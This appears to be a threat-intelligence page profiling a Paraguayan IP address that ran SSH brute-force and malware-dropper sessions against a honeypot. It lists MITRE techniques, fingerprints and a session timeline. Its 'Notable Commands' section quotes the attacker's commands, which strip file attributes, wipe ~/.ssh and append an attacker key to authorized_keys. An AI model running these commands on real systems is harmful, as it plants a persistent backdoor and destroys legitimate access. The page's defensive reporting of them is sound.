IntrusionLabs / threat intelligence

Sign in

← Back to feed

143.255.140.220

TAGGED SUSPICIOUS how we decide →

Threat Confidence

54%

Location

🇵🇾 PY / Ciudad del Este

ASN

AS61512 · GIG@NET SOCIEDAD ANONIMA

Cloud Provider

—

Total Events

348

Top 10% by volume

Agent Count

1

First / Last Seen

2026-06-10 04:14 — 2026-06-10 05:31

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Not flagged by any external feeds

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (522 IPs, 65 countries) HASSH Active high 🇺🇸 US

522 IPs 265499 events

http:scanssh:bruteforce

2026-02-25 — ongoing · 522 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …

Session Forensics

malware_dropper ×11 credential_probe ×30 opportunistic_bruter ×11

Sessions

52 (22 with login)

Avg Depth Score

0.43

Commands Executed

33

Files Downloaded

11

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Credential Probe 19fa76f09f83 newark_01 · 2026-06-10 05:31

1 20%

Loading events...

Opportunistic Bruter c0bae0f48174 newark_01 · 2026-06-10 05:29

1 50%

Loading events...

Malware Dropper 7321370cc17e newark_01 · 2026-06-10 05:29

3 1 1 100%

Loading events...

Credential Probe 0ad4be55e568 newark_01 · 2026-06-10 05:29

1 20%

Loading events...

Opportunistic Bruter c14d3dedac18 newark_01 · 2026-06-10 05:26

1 50%

Loading events...

Malware Dropper 0658cb56ab29 newark_01 · 2026-06-10 05:26

3 1 1 100%

Loading events...

Credential Probe fdb35e60648b newark_01 · 2026-06-10 05:26

1 20%

Loading events...

Opportunistic Bruter e007379833e1 newark_01 · 2026-06-10 05:24

1 50%

Loading events...

Malware Dropper f8a6e544c8b2 newark_01 · 2026-06-10 05:24

3 1 1 100%

Loading events...

Credential Probe fed26d33f93b newark_01 · 2026-06-10 05:24

1 20%

Loading events...

Credential Probe 7d28c39a976a newark_01 · 2026-06-10 05:22

1 20%

Loading events...

Credential Probe 70b765d7e6b8 newark_01 · 2026-06-10 05:19

1 20%

Loading events...

Opportunistic Bruter 8072c60cf448 newark_01 · 2026-06-10 05:17

1 50%

Loading events...

Malware Dropper 44fe24308f4c newark_01 · 2026-06-10 05:17

3 1 1 100%

Loading events...

Credential Probe 74870f37336e newark_01 · 2026-06-10 05:17

1 20%

Loading events...

Malware Dropper 0f56851fdc01 newark_01 · 2026-06-10 05:14

3 1 1 100%

Loading events...

Opportunistic Bruter 212fdd97d2a5 newark_01 · 2026-06-10 05:14

1 50%

Loading events...

Credential Probe 7281181cff95 newark_01 · 2026-06-10 05:14

1 20%

Loading events...

Credential Probe a65d84d379a8 newark_01 · 2026-06-10 05:12

1 20%

Loading events...

Credential Probe e1ed9e0ba32a newark_01 · 2026-06-10 05:09

1 20%

Loading events...

Opportunistic Bruter bb206168f399 newark_01 · 2026-06-10 05:06

1 50%

Loading events...

Malware Dropper 9dd7352b606e newark_01 · 2026-06-10 05:06

3 1 1 100%

Loading events...

Credential Probe 96bf98eb483a newark_01 · 2026-06-10 05:06

1 20%

Loading events...

Opportunistic Bruter 8bc80b55e939 newark_01 · 2026-06-10 05:03

1 50%

Loading events...

Malware Dropper 53b37f8fcfef newark_01 · 2026-06-10 05:03

3 1 1 100%

Loading events...

Credential Probe 0cadfea6526a newark_01 · 2026-06-10 05:03

1 20%

Loading events...

Credential Probe 60aab602c9de newark_01 · 2026-06-10 05:01

1 20%

Loading events...

Credential Probe d347a686e43c newark_01 · 2026-06-10 04:58

1 20%

Loading events...

Credential Probe e94fb95aa98f newark_01 · 2026-06-10 04:56

1 20%

Loading events...

Credential Probe 3a09d54067e7 newark_01 · 2026-06-10 04:53

1 20%

Loading events...

Credential Probe bbab59ebe75c newark_01 · 2026-06-10 04:51

1 20%

Loading events...

Opportunistic Bruter 3463598559f6 newark_01 · 2026-06-10 04:48

1 50%

Loading events...

Malware Dropper b508437902c0 newark_01 · 2026-06-10 04:48

3 1 1 100%

Loading events...

Credential Probe ba380536d232 newark_01 · 2026-06-10 04:48

1 20%

Loading events...

Credential Probe 61ba9e75e8ba newark_01 · 2026-06-10 04:45

1 20%

Loading events...

Opportunistic Bruter 45f368eaeb9e newark_01 · 2026-06-10 04:43

1 50%

Loading events...

Malware Dropper 8f830514943a newark_01 · 2026-06-10 04:43

3 1 1 100%

Loading events...

Credential Probe 156b145acd8a newark_01 · 2026-06-10 04:43

1 20%

Loading events...

Credential Probe a055c6d056f7 newark_01 · 2026-06-10 04:40

1 20%

Loading events...

Credential Probe 4a2f7093091f newark_01 · 2026-06-10 04:38

1 20%

Loading events...

Credential Probe cd4ce8f6a26f newark_01 · 2026-06-10 04:35

1 20%

Loading events...

Opportunistic Bruter a8ed56e60aee newark_01 · 2026-06-10 04:32

1 50%

Loading events...

Malware Dropper 217bd4f575d2 newark_01 · 2026-06-10 04:32

3 1 1 100%

Loading events...

Credential Probe 7a6899d47ee5 newark_01 · 2026-06-10 04:32

1 20%

Loading events...

Credential Probe d3301e9124d1 newark_01 · 2026-06-10 04:30

1 20%

Loading events...

Malware Dropper 1ce00757831b newark_01 · 2026-06-10 04:27

3 1 1 100%

Loading events...

Opportunistic Bruter 1eae770292dc newark_01 · 2026-06-10 04:27

1 50%

Loading events...

Credential Probe 3c1002b24cd3 newark_01 · 2026-06-10 04:27

1 20%

Loading events...

Credential Probe e93c70d0a5be newark_01 · 2026-06-10 04:25

1 20%

Loading events...

Credential Probe b57017126b1d newark_01 · 2026-06-10 04:22

1 20%

Loading events...